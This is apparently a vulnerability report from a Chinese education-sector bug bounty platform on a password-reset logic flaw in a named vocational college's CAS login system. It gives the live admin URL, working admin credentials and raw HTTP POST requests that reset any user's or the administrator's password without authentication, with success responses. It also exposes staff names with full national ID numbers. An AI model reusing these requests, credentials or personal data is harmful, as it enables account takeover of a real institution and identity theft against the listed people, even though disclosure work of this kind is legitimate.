


时间	单位	作者	等级	Rank
2023-08-12 16:36:58	枣庄科技职业学院 (/list/firm/4506)		高危	7

枣庄科技职业学院存在逻辑漏洞

URL---http://cas.zzkjxy.edu.cn/cas/manager/manager.html

账号admin admin123

统一身份认证平台
管理中心

首页


用户管理

申诉管理

系统管理

管理员管理










数据同步管理

管理员

退出

请输入工学号、姓名

搜索

工学号	账号	姓名	身份证号	是否可用	操作
20040833	20040833	生兆洲	370421198206122235		<div>身份重置密码</div> <div>自定义重置密码</div>
20040834	20040834	蒋广敏	370481198210098123		<div>身份重置密码</div> <div>自定义重置密码</div>
20040835	20040835	王利平	370481197810267440		<div>身份重置密码</div> <div>自定义重置密码</div>
20040836	20040836	赵宏丽	230826197906270026		<div>身份重置密码</div> <div>自定义重置密码</div>
20040837	20040837	李兴利	370481198012022646		<div>身份重置密码</div> <div>自定义重置密码</div>
20040838	20040838	张苗苗	370421198206282220		<div>身份重置密码</div> <div>自定义重置密码</div>
20040839	20040839	朱燕燕	37072219791014054X		<div>身份重置密码</div> <div>自定义重置密码</div>
20040840	20040840	孙玉美	371424197910134227		<div>身份重置密码</div> <div>自定义重置密码</div>
20040841	20040841	颜春萌	370406198109150089		<div>身份重置密码</div> <div>自定义重置密码</div>

存在任意用户重置密码--- 点击自定义密码重置功能，并抓包修改

Request

PrettyRawHex

1POST/cas/userCtl/resetPasswordBySuperHTTP/1.1

2Host:cas.zzkjxy.edu.cn

3Content-Length:50

4Accept:application/json,text/plain,*/*

5X-Requested-With:XMLHttpRequest

6User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)

7AppleWebKit/537.36(KHTML,likeGecko)Chrome/110.0.0.0Safari/537.36

8Application-Name:cas

9Content-Type:application/json;charset=UTF-8

10Origin:http://cas.zzkjxy.edu.cn

11Referer:http://cas.zzkjxy.edu.cn/cas/manager/user.html

12Accept-Encoding:gzip,deflate

13Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7

14Connection:close

15{"xgh":"20210531",

16"newPass":"20210531",

17"email":""}

Response

PrettyRawHexRender

1HTTP/1.1200

2Set-Cookie:JSESSIONID=C8BF0B86DF3B1A359C33298343FBD920;Path=/cas;HttpOnly

3Cache-Control:no-cache,no-store,max-age=0,must-revalidate

4Pragma:no-cache

5Expires:0

6X-Content-Type-Options:nosniff

7X-Frame-Options:SAMEORIGIN

8X-XSS-Protection:1;mode=block

9X-Application-Context:cas:standalone

10Content-Type:application/json;charset=UTF-8

11Date:Mon,07Aug202309:33:51GMT

12Connection:close

13Server:anyversionyouwant

14Content-Length:101

15

16{"statusCode":200,

17"message":"操作成功",

18"data":"密码修改成功,该用户未配置个人邮箱!"}

Request

PrettyRawHex

1

POST /cas/userCtl/resetPasswordBySuper HTTP/1.1

2

Host: cas.zzkjxy.edu.cn

3

Content-Length: 47

4

Accept: application/json, text/plain, */*

5

X-Requested-With: XMLHttpRequest

6

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

7

Application-Name: cas

8

Content-Type: application/json; charset=UTF-8

9

Origin: http://cas.zzkjxy.edu.cn

10

Referer: http://cas.zzkjxy.edu.cn/cas/manager/user.html

11

Accept-Encoding: gzip, deflate

12

Accept-Language: en-US, en; q=0.9, zh-CN; q=0.8, zh; q=0.7

13

Connection: close

14

{

15

"xgh": "admin",

16

"newPass": "admin123",

17

"email": ""

18

}

Response

PrettyRawHexRender

1

HTTP/1.1 200

2

Set-Cookie: JSESSIONID=BCE7EBD77E515E101A77EDE6E316EE9F; Path=/cas; HttpOnly

3

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

4

Pragma: no-cache

5

Expires: 0

6

X-Content-Type-Options: nosniff

7

X-Frame-Options: SAMEORIGIN

8

X-XSS-Protection: 1; mode=block

9

X-Application-Context: cas:standalone

10

Content-Type: application/json; charset=UTF-8

11

Date: Mon, 07 Aug 2023 09:46:21 GMT

12

Connection: close

13

Server: any version you want

14

Content-Length: 101

15

{

16

"httpCode": 200,

17

"message": "操作成功",

18

"data": "密码修改成功, 该用户未配置个人邮箱!"

19

}

这里发现，没有cookie鉴权，构造post请求包，可以任意重置密码管理员用户或者普通用户密码。

2023 © 联系邮箱：contact@src.sjtu.edu.cn (mailto:contact@src.sjtu.edu.cn)